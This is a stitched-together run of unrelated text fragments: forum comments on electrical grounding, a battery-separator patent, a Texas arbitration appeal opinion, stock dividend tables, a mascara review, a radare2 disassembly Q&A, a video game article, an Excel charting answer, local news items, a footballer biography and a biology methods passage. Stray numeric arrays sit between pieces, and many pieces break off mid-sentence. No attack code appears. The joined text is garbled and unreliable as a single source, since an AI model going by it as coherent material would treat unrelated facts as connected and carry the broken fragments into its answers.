power board). This will cut the circuit if someone does manage to touch a live
wire somehow (current from phase to neutral doesn't match, because some of it
is grounded through your body, and the mismatch triggers the breaker.
Wayyyyyyy safer than a fuse!
~~~
pkaye
In the US there is tamper proof outlets and GFCI is equivalent to RCD. Its
pretty much required for new houses though older houses may vary on what they
implement.
~~~
robocat
Are tamper proof outlets mandatory? The UK has had shutters on the phase that
is opened by the earth pin forever. Which is why their plugs are caltrops, and
have a plastic earth pin if double insulated (only phase and neutral wired,
with no earth wire).
I don't think I have ever seen a US plug where the pins have a non-conductive
protective covering at the base of the pin (I think all modern UK and NZ male
plugs have that. Although I'll be honest that I think the NZ solution makes
plugs less safe due to risk of pins bending then breaking and leaving a live
metal pin exposed in the socket).
EU sockets are mostly recessed from what I have seen (some NZ sockets are, but
the recess is still is often unusable with old plugs, so is not common yet,
but will become so as more plugs are sold that fit properly).
~~~
Doxin
> The UK has had shutters on the phase that is opened by the earth pin
> forever. Which is why their plugs are caltrops
No, bad design is why they are caltrops. Over here in the Netherlands shutters
are similarly required but none of our plugs need a third pin. The shutter is
a see-saw construction that works in such a way that you need to insert both
prongs at the same time for the shutter to rotate out of the way.
That said our grounded plugs are still caltrops for no real good reason,
though less so than the UK ones. They tend to fall with the prongs to the side
instead of prongs-up.
------
ryanmarsh
This blew my mind. So the white wire (neutral) is actually what I thought the
ground was (connected to earth) and the “ground” wire (usually bare or green)
is a conductor for clearing ground faults and isn’t connected to earth.
Marvelous explanation.
~~~
alexhutcheson
They are both connected to earth at the same point. The big difference is that
"neutral" has current flowing through it during normal operation, but "ground"
only has current flowing through it in a fault condition.
~~~
chrisdhoover
Right because the hot/black is connected to the neutral/white through the load
completing a circuit so current flows. The “ground”/green is only connected to
the chassis so no current flows in normal operation.
------
js2
See also "Why Three Prongs (1996)" discussed recently:
[https://news.ycombinator.com/item?id=20378852](https://news.ycombinator.com/item?id=20378852)
Also, be aware of grounding requirements when using a generator:
[https://cpower.com/PDF/InfoSheets/44.pdf](https://cpower.com/PDF/InfoSheets/44.pdf)
------
bardworx
Why are there three wires in new receptacles? From my understanding, new code
has you have to have a 3+ground but |
[
253,
35823,
275,
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] | the separator in some fashion. Another proposal involves thin paper pulp layers which are coated with layers of absorptive glass mats on both sides of the paper pulp layer. Other proposals have involved providing multiple layer separators (such as layers having different characteristics, e.g., surface area) and plastic separators filled with silica or the like so as to provide acid-gellifying separators.
To attempt to enhance the performance of VRLA cells and batteries, changes in other aspects of the cell and battery design, too numerous to mention, have been proposed. Nevertheless, currently available VRLA cells and batteries typically have lower cycle life and energy performance than is desired. Accordingly, despite the prior efforts in this field, a need exists for separators which can enhance the performance of such VRLA cells and batteries.
Accordingly, it is an object of the present invention to provide separator materials capable of achieving enhanced performance when used in VRLA cells and batteries.
Another and related object of this invention is to provide VRLA cells and batteries capable of achieving enhanced cycle life and energy performance characteristics.
Yet another object of the present invention is to provide facile methods for making such separators.
Other objects and advantages of the present invention can be seen from the following description of the invention.
In general, the present invention is predicated on the discovery that VRLA cells and batteries having enhanced cycle life and electrical performance can be provided by utilizing absorptive glass mat separators modified by treatment with appropriate polymers. Suitable polymers comprise hydrophobic polymers such as polyolefins, polyvinylchlorides, polyacrylonitriles, and polyesters, amphiphilic copolymers, graft copolymers, and hydrophilic nitrogen-containing, water-soluble polymers. Desirably, surface active agents can be included.
It has been found that modification of the absorptive glass mat separators can be achieved by treating such separators with polymeric emulsions or dispersions of the selected polymer. While other types of emulsions can be used, it is desirable from an environmental standpoint to utilize aqueous polymeric emulsions.
It has been found that such modified absorptive glass mat separators impart enhanced mechanical properties and achieve improved electrical performance characteristics in VRLA cells and batteries. Providing such modified absorptive glass mat separators can thus be achieved in a facile fashion.
Moreover, by utilizing multiple separator layers, the individual layer can be treated so as to provide characteristics tailored more specifically to the location of the separator layer in VRLA cells and batteries. More specifically, as will be discussed in greater detail herein, it is desirable, in a preferred aspect of the present invention, to utilized double layer separators in which the relative hydrophilicity of the layers comprising the separator are different so as to enhance the efficiency of the closed oxygen cycle.
COURT
OF APPEALS
SECOND
DISTRICT OF TEXAS
FORT
WORTH
NO.
2-06-472-CV
GERALD W. HADDOCK APPELLANT
V.
WILLIAM F. QUINN, PAUL E. ROWSEY, III, APPELLEES
JOHN GOFF, TERRY N.
WORRELL,
CRESCENT REAL ESTATE
EQUITIES
COMPANY, CRESCENT REAL
ESTATE
LIMITED PARTNERSHIP AND
CRESCENT
REAL ESTATE EQUITIES,
LTD.
------------
FROM THE 67TH
DISTRICT COURT OF TARRANT COUNTY
------------
AND
NO. 2-07-048-CV
IN
RE GERALD W. HADDOCK RELATOR
------------
ORIGINAL
PROCEEDING
------------
OPINION
I.
Introduction
In
this consolidated interlocutory appeal and mandamus proceeding, Relator and
Appellant Gerald W. Haddock seeks relief from the trial court=s order staying arbitration
proceedings that he initiated against Appellees and Real Parties in Interest
William F. Quinn, Paul E. Rowsey, III, John Goff, Terry N. Worrell, Crescent
Real Estate Equities Company (ACEI@), Crescent Real Estate Equities Limited Partnership (ACREELP@), and Crescent Real Estate Equities, Limited (ACREE@).
Haddock
raises three issues. In his first issue,
Haddock argues that the trial court improperly assumed jurisdiction because the
parties contracted to have all issuesCincluding questions of arbitrabilityCdecided by arbitration. Second, Haddock contends that even if the
trial court had jurisdiction to decide some issues of arbitrability, the main
issue in this caseCwhether he repudiated or waived
arbitrationCshould be decided by an
arbitrator. Third, Haddock argues that
the trial court erred and abused its discretion by concluding that he
repudiated or waived arbitration by engaging in prior litigation that was
inconsistent with arbitration.
Real
Parties in Interest contend that the issue of repudiation or waiver was
properly for the court to decide and that the trial court correctly determined
that Haddock repudiated, or in the alternative waived, arbitration of his
claims by substantially invoking the judicial process to their detriment. They argue that the trial court correctly
concluded that the remaining claims asserted by Haddock, individually and derivatively
on behalf of CEI stockholders and against nonsignatories, are not within the
scope of the arbitration agreement.
II.
Factual
and Procedural Background
A.
The
Parties
1.
The
Crescent Entities
CEI
is a publicly held real estate investment trust (commonly referred to as a AREIT@) organized under the laws of the state of Texas. CEI is structured as an Umbrella Partnership
Real Estate Investment Trust whereby CEI owns a majority of the limited
partnership interests in CREELP, a Delaware limited partnership. This organizational structure (referred to as
an AUPREIT@) allows owners of investment real estate to sell their
properties to CREELP in exchange for CREELP units, which the seller may later
convert into CEI common stock. The real
estate owners incur no income tax liability until they sell the stock. CREE, a Delaware corporation, is a wholly
owned subsidiary of CEI and serves as CREELP=s general partner.
2.
The
Individuals
In
1994, Haddock and two cofounders created the Crescent Entities and related
companies. Prior to 1994, Haddock had
served in various capacities in companies formed by one of the cofounders,
including serving as lead transactional attorney and chief negotiator. Of the individual Real Parties in Interest,
John Goff currently serves as CEI=s CEO and Vice Chairman.
William Quinn, Paul Rowsey III, and Terry Worrell serve as members of
CEI=s Board of Trust Managers.
B.
The
CREELP Partnership Agreement and Arbitration Clause
In
February 1994, Haddock, as CEI=s President, signed a limited
partnership agreement on behalf of CEI, CREE, and several limited partners to
form the CREELP limited partnership.
CREE was CREELP=s general partner. Haddock became a limited partner in CREELP as
well as President of CEI, and he became CEO of CEI in 1996. As an officer and senior management employee,
Haddock received options to purchase units in CREELP in 1995 and 1996, which
were exchangeable for CEI common stock.
The options for both the CREELP units and CEI stock were created by
incentive plans adopted by those entities= respective governance committees.
The
original CREELP limited partnership agreement did not contain an arbitration
agreement. However, in May 1994, the
limited partnership agreement was amended to add an arbitration agreement that
provides, in pertinent part:[1]
Section 16.1 Arbitration
Notwithstanding anything to the contrary contained in
this Agreement, all claims, disputes and controversies between the parties
hereto (including, without limitation, any claims, disputes, and controversies
between the Partnership and any one or more of the Partners and any claims,
disputes and controversies among any two or more Partners) arising out of or in
connection with this Agreement or the Partnership created hereby, relating to
the validity, construction, performance, breach, enforcement or termination
thereof, or otherwise, shall be resolved by binding arbitration in the State of
Texas, in accordance with this Article 16 and, to the extent not inconsistent
herewith, the Expedited Procedures and Commercial Arbitration Rules of the
American Arbitration Association.
The arbitration |
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] | Q $2.29
Peer Comparison
Ticker Name Dividend Yield EPS (TTM) P/E P/B Price/Sales Payout Ratio BLK BlackRock Inc. $12.52 2.48% $25.52 19.7 2.55 5.923 49.06% BAC Bank of America Corporation $0.48 1.618% $2.2 13.7 1.25 3.944 21.818% AMG Affiliated Managers Group Inc. $1.2 0.804% $15.34 9.7 2.23 4.558 7.823% LM Legg Mason Inc. $1.12 3.343% $2.87 11.62 0.75 1.226 39.024% AB AllianceBernstein Holding L.P. Units $2.92 9.733% $2.57 11.63 1.87 N/A 113.619% IVZ Invesco Ltd $1.2 4.671% $2.75 9.26 1.21 2.675 43.636% WETF WisdomTree Investments Inc. $0.12 1.306% $0.27 33.67 7.05 7.976 44.444%
National Retail Properties (NNN)
Industry: REITs
Sector: Real Estate
National Retail Properties Inc is a real estate investment trust that invests in and develops properties throughout the United States. Most of the company's properties are located in the Midwest, South, and Southeast of the United States.
National Retail Properties has declared quarterly dividend of $0.5000 (+5.2630% increase). It goes ex-dividend on 07-30-2018 and is payable on 08-15-2018. National Retail Properties has 8 years of consecutive dividend increase.
Price $44.7 Market Cap $6.877 billion Annualized Dividend $2 Yield 4.474% EPS(TTM) $2.6 Payout Ratio 76.923% 50-day moving average $42.142 200-day moving average $40.053 P/E Ratio 17.12 52 week range $36.25 - $45.11
2-Year Dividend History
DeclaredDate Ex-DividendDate RecordDate PayableDate Qualified Amount 2018-01-16 2018-01-30 2018-01-31 2018-02-15 $0.475 2017-10-16 2017-10-30 2017-10-31 2017-11-15 $0.475 2017-07-14 2017-07-27 2017-07-31 2017-08-15 $0.475 2017-04-13 2017-04-26 2017-04-28 2017-05-15 $0.455 2017-01-17 2017-01-27 2017-01-31 2017-02-15 $0.455 2016-10-14 2016-10-27 2016-10-31 2016-11-15 N $0.455 2016-07-15 2016-07-27 2016-07-29 2016-08-15 N $0.455 2016-04-15 2016-04-27 2016-04-29 2016-05-16 N $0.435
Peer Comparison
Ticker Name Dividend Yield EPS (TTM) P/E P/B Price/Sales Payout Ratio NNN National Retail Properties $2 4.474% $2.6 17.12 2.08 14.908 76.923% EGP EastGroup Properties Inc. $2.56 2.673% $4.43 20.92 4.28 15.617 57.788% WY Weyerhaeuser Company $1.28 3.59% $1.29 27.04 2.97 4.795 99.225% HCP HCP Inc. $1.48 5.688% $1.92 13.53 2.3 9.612 77.083% EPR EPR Properties $4.32 6.492% $5.1 12.94 1.69 9.801 84.706%
Morgan Stanley (MS)
Industry: Brokers & Exchanges
Sector: Financial Services
Morgan Stanley is a global investment bank. The company has institutional securities, wealth-management, and asset-management segments.
Morgan Stanley has declared quarterly dividend of $0.3000 (+20.0000% increase). It goes ex-dividend on 07-30-2018 and is payable on 08-15-2018. Morgan Stanley has 4 years of consecutive dividend increase.
Price $49.85 Market Cap $88.247 billion Annualized Dividend $1.2 Yield 2.407% EPS(TTM) $4.52 Payout Ratio 26.549% 50-day moving average $50.963 200-day moving average $52.132 P/E Ratio 11.12 52 week range $43.84 - $59.38
2-Year Dividend History
DeclaredDate Ex-DividendDate RecordDate PayableDate Qualified Amount 2018-01-18 2018-01-30 2018-01-31 2018-02-15 $0.25 2017-10-17 2017-10-30 2017-10-31 2017-11-15 $0.25 2017-07-19 2017-07-27 2017-07-31 2017-08-15 Q $0.25 2017-04-19 2017-04-27 2017-05-01 2017-05-15 Q $0.2 2017-01-17 2017-01-27 2017-01-31 2017-02-15 Q $0.2 2016-10-19 2016-10-27 2016-10-31 2016-11-15 Q $0.2 2016-07-20 2016-07-27 2016-07-29 2016-08-15 Q $0.2 2016-04-18 2016-04-27 2016-04-29 2016-05-13 Q $0.15
Peer Comparison
Ticker Name Dividend Yield EPS (TTM) P/E P/B Price/Sales Payout Ratio MS Morgan Stanley $1.2 2.407% $4.52 11.12 1.29 2.702 26.549% BCS Barclays PLC $0 0% $0.82 12.15 0.51 0.022 0.0% GS Goldman Sachs Group Inc. (The) $3.2 1.394% $23.63 9.8 1.21 1.923 13.542% BAC Bank of America Corporation $0.48 1.618% $2.2 13.7 1.25 3.944 21.818% DB Deutsche Bank AG $0.11 0.915% $-0.85 -14.15 0.32 0.868 N/A JPM JP Morgan Chase & Co. $2.24 2.038% $8.18 13.6 1.63 3.053 27.384% MUFG Mitsubishi UFJ Financial Group Inc. $0.181 3.082% $0.73 8.12 0.58 1.738 24.744% C Citigroup Inc. $1.28 1.855% $6 11.54 0.96 1.896 21.333%
Western Gas Partners LP Limited Partner Interests (WES)
Industry: Oil & Gas - Midstream
Sector: Energy
Western Gas Partners, LP is engaged in gathering, processing, compressing, treating and transporting natural gas, condensate, NGLs and crude oil for its subsidiaries as well as third-party producers and customers.
Western Gas Partners has declared quarterly dividend of $0.9500 (+1.6040% increase). It goes ex-dividend on 07-31-2018 and is payable on 08-13-2018. Western Gas Partners has 10 years of consecutive dividend increase.
Price $50.68 Market Cap $8.418 billion Annualized Dividend $3.8 Yield 7.498% EPS(TTM) $1.64 Payout Ratio 231.707% 50-day moving average $50.306 200-day moving average $47.237 P/E Ratio 30.37 52 week range $40.44 - $54.4
2-Year Dividend History
DeclaredDate Ex-DividendDate RecordDate PayableDate Qualified Amount 2018-01-19 2018-01-31 2018-02-01 2018-02-13 $0.92 2017-10-12 2017-11-01 2017-11-02 2017-11-13 $0.905 2017-07-18 2017-07-27 2017-07-31 2017-08-11 $0.89 2017-04-13 2017-04-27 2017-05-01 2017-05-12 $0.875 2017-01-17 2017-01-31 2017-02-02 2017-02-13 $0.86 2016-10-18 2016-10-27 2016-10-31 2016-11-10 $0.845 2016-07-20 2016-07-28 2016-08-01 2016-08-12 $0.83 2016-04-22 2016-04-28 2016-05-02 2016-05-13 $0.815
Peer Comparison
Ticker Name Dividend Yield EPS (TTM) P/E P/ |
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] | Product
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Michael Elliston, a student of the late Soyu Matsuoka, founded the Atlanta Soto Zen Center in 1977 where he oversees the training of disciples and priests and encourages members and supporters to lead a Zen life.Mascara Monday: CoverGirl Exact Eyelights
Ahhhh, the year is passing us by, uh? I could have sworn I was juuust making my way to Long Beach in California early February. But I’m not complaining because I am one of those annoyingly happy people during the holidays. I adore Christmas time and was ecstatic to hear Christmas music as I was strolling through Sephora on Saturday. It will only be a matter of time until I start getting my Christmas tree together. Yessss!
Okay–back to business. This was a reader requested mascara. I received several emails about this mascara waaay before I even saw it in stores. And then I saw the display featuring the omnipresent Rihanna. I swear that chick seems to be everywhere. Did this mascara live up claim of brightening the eyes? Hmmm….
CoverGirl Exact Eyelights
Price: 5 out of 5 ($6.00 from CVS)Packaging (Brush Wand): 3 out of 5Overall: 1 out of 5
What it claims: “The unique eye brightening formula combined with the patented No Clump brush technology brings out the color of your eyes and gives you gorgeous clump-free lashes.”
The truth: Wait, what? I’m looking for my eyes to be brighter? What the….is there a mini flashlight in the mascara tube or something? I don’t get it.
What I loved about it: Uh….I love how the tube is white and then fades out into a gray and then black. Seriously the only good thing about this mascara.
What I didn’t like: Gee, where to start…..okay, here’s the wand.
Not bad but not spectacular either. I didn’t like how the “hairs” of the wand weren’t elongated all the way out. You see how they start small and then get bigger? Well, what sense does that make, CoverGirl? How am I going to get the inner lashes? Yikes!
Overall: I don’t really know what CoverGirl’s motive was for this mascara. Some promise length. Others promise curl. And then some promise clump free separation, volume, long lasting wear, etc. But how many people have actually said, “Gosh, I wish my brown eyes looked brighter!” *looks around* One would assume that if for whatever you reason you wanted your eyes to appear “brighter” then you would perhaps play in around in eye make-up that compliments your eye color, right? CoverGirl has tried to be innovative and failed, in my opinion. This mascara does nothing. See for yourself…
Lashes with NO mascara
Lashes with TWO coats
The length isn’t bad but that’s not what I l’m looking for. Do my eyes appear brighter to you, folx? No. I was extremely frustrated with this claim not delivering. And while the mascara itself didn’t clump on me, I experienced terrible fall-out in my eyes. Each day that I wore it, I had eye irritation allll day. Not good. And then I figured out why. Look closely at this picture and enlarge if you have to.
The mascara apparently has little glitterly flecks that are supposed to “illuminate” your eyes. I get it! But nope, take it back to the chopping block, CoverGirl. These little flecks are irritaters (made that word up) that should not be in a product that goes so close to the eye. That’s a no-no. And I’m sure it would be far worse if I were a contact wearer. Not a good idea.
Would I recommend it: Absolutely not. I don’t think it’s very safe for the eye. I mean, at all…plus it doesn’t do anything. Definitely not a fan of this mascara.
*wipes brow* I’m trashing this baby here. So what do you think? Has anyone else tried this mascara? I hate to give such a not-good report but I must keep it real with yall. Still interested in testing out this mascara? What say you?
B. this is totally the subject of my post today. I purcahsed this crap…umm I mean mascara on Friday and couldn’t wait to destroy (excuse me) review it today. I know you hold down Mondays with the mascara reviews but I thought this would be perfect timing to tag team covergirl..lol just kidding…kinda.Happy Monday.PJD
prettybeautiful
i hate marketing gimmicks that don’t live up to their promises, esp mascaras that promise long, curling, or volume or whatever but do nothing at all for me
Askmewhats
thanks B for the honest review, If i’ve seen this anywhere, I would definitely give this a go and think this is a great product ! Thanks
Wes
Thanks for the heads up! Soon as I see a new mascara on the market I’m anxious to try it, but thanks to you I don’t have to waste that money anymore!!!!
yummy411
wasn’t quite interested in this one. as far as the vids… just put your link and name as a subtitle in the vid. it’s actually more exposure for you.. if they like the vid they will double click like me and go subscribe!
Kristine
I just recently bought the loreal mascara on saturday and wanted to return it now. i hope rite aid will take returns!
GypsyDancerMacaholic
Thank you for posting this. I LOVE honest reviews, regardless of how hars they might seem. I am a contact wearer and I can’t even imagine the pain and damage those flex could cause. I’m a sucker for gimics too and might have tried it thinking that brightening my brown eyes would mean making them look lighter sparkley or something and would haven ended up with red scratchy eyes. Great review!
SuzieC
Now I know to skip it. I could not for the life of me figure out what was so fab about this mascara. The great thing I could find was the packaging which I thought was cute. CoverGirl needs to stop with the nonsense. Glitter by your eyes are they insane and waiting for a lawsuit!
Katee "e-polishblog"
Thanks because I wanted to try this but now I am going to skip it. Love |
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] | =dockerhub
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During the season of giving! At Ser Familia's our mission is simple, to strengthen, revitalize, and equip Latino youth, couples, parents and families through educational programs that teach improved life, leadership and communication skills, empowering participants to thrive and enjoy a healthy family environment. Be the impact this Holiday! #SerFamilia ... See MoreSee LessHe faces difficulty in replacing thousands of rupee notes ending with 786
Gaurav Taneja working with Haryana education department had collecte thousands of rupee notes ending with 786. Years ago he had found a note ending with 786 on the road. After this luck smiled on him and he started getting lucky strokes one after another. Due to this he started collecting notes ending with 786. During last 10 years, he has collected such notes.Q:
Recursive traversal disassembling with Radare2?
I am trying the recursive traversal disassembler of the radare2 tool. But, I cannot use it properly.
First, according to the radare2 manual, we can use recursive traversal disassembler by using the pdr:
[0x00404890]> pd?
Usage: pd[f|i|l] [len] @ [addr]
pda : disassemble all possible opcodes (byte per byte)
pdj : disassemble to json
pdb : disassemble basic block
pdr : recursive disassemble across the function graph
pdf : disassemble function
pdi : like 'pi', with offset and bytes
pdl : show instruction sizes
But I always get this error message:
Cannot find function at 0x004028c0
Here is a full session of radare2 on the ls command with, first, a linear sweep disassembly and, then, an attempt of recursive traversal disassembly:
$> radare2 /bin/ls
syntax error: error in error handling
syntax error: error in error handling
[0x00404890]> pd@main
;-- main:
0x004028c0 4157 push r15
0x004028c2 4156 push r14
0x004028c4 4155 push r13
0x004028c6 4154 push r12
0x004028c8 55 push rbp
0x004028c9 4889f5 mov rbp, rsi
0x004028cc 53 push rbx
0x004028cd 89fb mov ebx, edi
0x004028cf 4881ec88030. sub rsp, 0x388
...
0x00402dff 8b0567772100 mov eax, [rip+0x217767] ; 0x0040a56c
0x00402e05 488b0d64772. mov rcx, [rip+0x217764] ; 0x0040a570
0x00402e0c 83f801 cmp eax, 0x1
0x00402e0f 0f84de0d0000 jz 0x403bf3
0x00402e15 83f802 cmp eax, 0x2
0x00402e18 be0f384100 mov esi, 0x41380f
0x00402e1d b80e384100 mov eax, str.vdir
0x00402e22 480f45f0 cmovnz rsi, rax
0x00402e26 488b3de3772. mov rdi, [rip+0x2177e3] ; 0x0040a610
0x00402e2d 48c70424000. mov qword [rsp], 0x0
0x00402e35 41b9bd384100 mov r9d, str.DavidMacKenzie
0x00402e3b 41b8cd384100 mov r8d, str.RichardM.Stallman
[0x00404890]> pdr@main
Cannot find function at 0x004028c0
In fact, I strongly suppose that I am missing a step here. It seems that we should first build the call graph of the program, but I didn't manage to find how to do it (I obviously have missed some documentation somewhere, sorry for that!).
So, if somebody can give me a hint about it, I would be pleased !
A:
In fact, you should first run a 'function' analysis of the program. To better understand this type a?:
[0x00404890]> a?
Usage: a[?adfFghoprsx]
a8 [hexpairs] ; analyze bytes
aa ; analyze all (fcns + bbs)
ad ; analyze data trampoline (wip)
ad [from] [to] ; analyze data pointers to (from-to)
ae [expr] ; analyze opcode eval expression (see ao)
af[bcsl?+-*] ; analyze Functions
aF ; same as above, but using graph.depth=1
ag[?acgdlf] ; output Graphviz code
ah[?lba-] ; analysis hints (force opcode size, ...)
ao[e?] [len] ; analyze Opcodes (or emulate it)
ap ; find and analyze function preludes
ar[?ld-*] ; manage refs/xrefs
as [num] ; analyze syscall using dbg.reg
at[trd+-*?] [.] ; analyze execution Traces
ax[-cCd] [f] [t] ; manage code/call/data xrefs
Examples:
f ts @ `S*~text:0[3]`; f t @ section..text
f ds @ `S*~data:0[3]`; f d @ section..data
.ad t t+ts @ d:ds
And, more precisely with an af?:
[0x00404890]> af?
Usage: af[?+-l*]
af @ [addr] ; Analyze functions (start at addr)
af+ addr size name [type] [diff] ; Add function
af- [addr] ; Clean all function analysis data (or function at addr)
afb 16 ; set current function as thumb
afbb fcnaddr addr size name [type] [diff] ; Add bb to function @ fcnaddr
afl[*] [fcn name] ; List functions (addr, size, bbs, name)
afi [fcn name] ; Show function(s) information (verbose afl)
afr name [addr] ; Rename name for function at address (change flag too)
afs [addr] [fcnsign] ; Get/set function signature at current address
af[aAv][?] [arg] ; Manipulate args, fastargs and variables in function
afc @ [addr] ; Calculate the Cyclomatic Complexity (starting at addr)
af* ; Output radare commands
Then, start a 'functions' analysis beginning at main:
[0x00404890]> af@main
Then, you can run a recursive traversal disassembly:
[0x00404890]> pdr@main
/ (fcn) fcn.004028c0 7460
| ;-- main:
| 0x004028c0 4157 push r15
| 0x004028c2 4156 push r14
| 0x004028c4 4155 push r13
| 0x004028c6 4154 push r12
| 0x004028c8 55 push rbp
| 0x004028c9 4889f5 mov rbp, rsi
| 0x004028cc 53 push rbx
| 0x004028cd 89fb mov ebx, edi
| 0x004028cf 4881ec88030. sub rsp, 0x388
| 0x004028d6 488b3e mov rdi, [rsi]
| 0x004028d9 64488b04252. mov rax, [fs:0x28]
| 0x004028e2 48898424780. mov [rsp+0x378], rax
| 0x004028ea 31c0 xor eax, eax
| 0x004028ec e8afad0000 call 0x40d6a0 ; (fcn.0040d69f)
| fcn.0040d69f(unk, unk, unk, unk, unk, unk)
| |
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] | 2001, Serious Sam 2 received less praising reviews. The game's average review is a 75% according to GameRankings. Its highest mark by mainstream media was a 4.5/5.0 from Computer Gaming World, though most reviews were in the 70% or 80% range. Other notable reviews include GamePro rating it 4/5 and GameSpy giving it a 3.5/5 (Good). IGN awarded Serious Sam 2 an 8.2/10, summing up the sentiments of many of other publications' reviews:
One of the main criticisms of the game was that it was a lot less "serious" and a lot more "cartoony" than The First Encounter and The Second Encounter. An over-emphasis on reflective surfaces and oddly out of place pixel shading were perceived as being more about showing off the capabilities of the engine than about defining the atmosphere of the game. Lighter colors and a more upbeat soundtrack made the game feel less grounded in reality, contrary to the realistic Egyptian tombs and Mayan pyramids of the earlier games, and players complained that while the weapons of the previous games seemed to be massive and powerful, those in Serious Sam 2'' were less so.
References
External links
Category:2005 video games
Category:Cooperative video games
Category:First-person shooters
Category:Multiplayer online games
Category:Serious Sam
Category:Video game sequels
Category:Video games developed in Croatia
Category:Windows games
Category:Xbox games
Category:Devolver Digital games
Category:Video games set in China
Category:Video games set in Europe
Category:Multiplayer and single-player video gamesQ:
Excel line chart doesn't look right
I need to create a line chart from some tabular data. The chart should show how weather (e.g. temperature) changes with time. But for some reason the result looks strange (I have attached a picture). Also, the chart displays hour part of the datetime as 0.
Could you please help. Thanks.
Addition:
The time is in format Date of type "3/14/01 13:30"
I also tried a Scatter, and the result looks better, but datetime is weird, and it is missing hours:
A:
Plotted as Scatter with Smooth Lines:
Format the x-axis Major unit to Fixed 0.125 to show 3-hourly intervals (any more detail and the chart would be very cluttered).
@Jon Peltier (who knows all there is to now about Excel charts and MORE) has made the point that smooth lines may be misleading. (Inadvertently I provided an example of just that here!) So a slightly simplified version with straight lines for the sake of a better answer for the OP and also for comparison:
with straight and smooth overlaid:
Woman pleads not guilty to 3 murder counts
Cris Ritchie — Editor
November 6, 2013
HAZARD – An April trial date has been set for a Breathitt County woman charged with three counts of murder following a two-vehicle crash this past summer.
Billie J. Caudill, 30, of Whick, appeared in Perry Circuit Court on Oct. 30 for arraignment where she pleaded not guilty to three counts of murder, DUI third offense, and driving on a suspended or revoked license. She was indicted on the charges on Oct. 25.
Caudill was behind the wheel of a Ford Contour on July 3 when police said she crossed the centerline on Highway 15 and collided with a Chevrolet S-10, which was occupied by William Belcher and wife Lillie, who both died from injuries sustained in the crash. Also pronounced dead at the scene was Caudill’s husband, 33-year-old Danny Caudill, who was a passenger in her vehicle.
Commonwealth’s Attorney John Hansen said test results of samples taken after the crash show Billie Caudill was intoxicated at the time, which resulted in the grand jury’s indictment. He added his office is also looking into the possibility that, because the case involves multiple deaths, whether or not the death penalty could be an option. Even so, Hansen indicated he likely would not seek the death penalty.
“We indicted as wanton murder, that’s a lesser degree than intentional,” he said. “The fact that there are aggravating circumstances such as multiple deaths puts the death penalty into question, but I believe that based on the wantonness of the actions by the defendant, I don’t think my office would serve anyone’s purpose by seeking the death penalty on a wanton-type crime.”
Billie Caudill is due in court again for a pretrial conference on Feb. 26, 2014, and is currently set for trial on April 14.Ben Hirst
Benjamin Matthew Hirst (born 21 October 1997) is an English former professional footballer who played as a striker.
Hirst started his career in York City's youth system, making his first-team debut in 2014. He had a loan spell with Northern Premier League Division One North club Scarborough Athletic in 2015, before being released by York in 2016. Hirst had a short with Pickering Town in the Northern Counties East League Premier Division, before retiring from football to pursue another career.
Career
Born in York, North Yorkshire, Hirst played for York & District Schoolboys and was named their Most Valuable Player at an end of season awards ceremony in June 2013. He later joined York City's youth system and became a first-year scholar in the summer of 2014. He made his first-team debut aged 16 as a 73rd-minute substitute for Ryan Jarvis in a 1–1 away draw with Tranmere Rovers in the opening match of the 2014–15 season on 9 August 2014. Having made five first-team appearances, he signed a professional contract with York in November 2014, tying him to the club until the summer of 2016.
Hirst joined Northern Premier League Division One North club Scarborough Athletic on a one-month loan on 29 September 2015, with his chances at York limited. He made his debut that day, as a substitute in a 4–2 away defeat to Clitheroe. He returned to York in November 2015, having made four appearances for Scarborough. Hirst was released by York when his contract expired at the end of 2015–16.
After a successful trial, Hirst joined Northern Counties East League Premier Division club Pickering Town in the summer of 2016. In August 2016, he retired from football after deciding to focus on his carpet cleaning business.
Career statistics
References
External links
Category:1997 births
Category:Living people
Category:Sportspeople from York
Category:Footballers from North Yorkshire
Category:English footballers
Category:Association football forwards
Category:York City F.C. players
Category:Scarborough Athletic F.C. players
Category:Pickering Town F.C. players
Category:English Football League players
Category:Northern Premier League playersBattle Creek City Commission OKs ethics code changes
Battle Creek city commissioners now have a policy to follow if any of them are suspected of violating their ethics code.
Commissioners voted 8-1 Tuesday to approve ordinance changes that revise their ethics code, which is signed at the beginning of their terms. Commissioner Jeff Domenico cast the dissenting vote.
Under the changes, the commission is able to find one of its members in violation of the ethics code through a majority vote after a public hearing. At least three commissioners must call for the hearing.
It was the final step in a two-vote process to approve the ordinance, which goes into effect in 10 days. At the last commission meeting, Domenico cast a vote against introducing the changes, citing concerns over a time limit on comments from the commissioner suspected of violating the code and no ability to cross-examine witnesses.
If a commissioner is found to have violated the code, the rest of the commission will take a vote to decide what sanctions, if any, will be imposed. Possible punishments include reprimand, formal censure, loss of committee assignment and budget or travel restrictions. There are three levels of sanctions, based on the violation and whether subsequent violations occur.
The four-person Ethics and Meeting Rules Committee has worked on the changes for months. Though the ethics code has been in place since 2004, there has not been a detailed policy on how to handle alleged violations until now.
No formal accusations of violations have been made since the code was implemented, but earlier this year then-Mayor Dave Walters sat down with Domenico to discuss emails in which Domenico criticized the police chief search and questioned the integrity of two city employees.
Call Jennifer Bowman at 966-0589. Follow her on Twitter: @jenn_bowman
In other business
Also Tuesday, commissioners:
•Began a four-month pilot program changing public-comment guidelines for the resolution portion of the commission’s meeting agenda. Domenico cast the lone dissenting vote.
•Adopted ordinance changes to allow sidewalk signs in the Old Lakeview area.
•Approved a special use permit for a licensed group daycare home at 387 Waubascon Road.
•Authorized a resolution to approve funding for designing the rehabilitation of a W.K. Kellogg Airport runway. Of the $266,000 cost, the city will pay $13,300 while the rest will be covered by state and federal grants.package com.tencent.mm.plugin.sns.h |
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1194,
9431
] | Elleuche and Pöggeler [@CR19]; Esser [@CR21]). For RNA extraction *S. macrospora* was grown for 3, 4, 5, 6 and 7 days in liquid BMM medium at 27°C in floating cultures to induce sexual reproduction conditions and in Erlenmeyer flasks with 100 ml of liquid BMM medium shaken at 130 rpm to induce vegetative development as described before (Nowrousian and Cebula [@CR49]). RNA was then isolated from the sexually and vegetative induced cultures at the indicated time points. Determination of growth velocity and mycelial dry weight analysis were done as described elsewhere (Nolting and Pöggeler [@CR47]; Nowrousian and Cebula [@CR49]). All experimental results are mean values of at least two independent measurements with three different samples each. Growth analysis of *S. macrospora* strains under stress inducing conditions was attained by cultivation for 7--10 days on solid SWG medium supplemented with 0.1 M NaCl or KCl, 0.4 M sorbitol, 0.01 % H~2~O~2~ or 0.003 % SDS. For crossing of strains in the fusion assay, 0.25 cm^2^ pieces of agar overgrown with *S. macrospora* strains were arranged directly opposite to each other on a Petri dish with solid SWG medium and cultivated for 7--10 days at 27°C. To 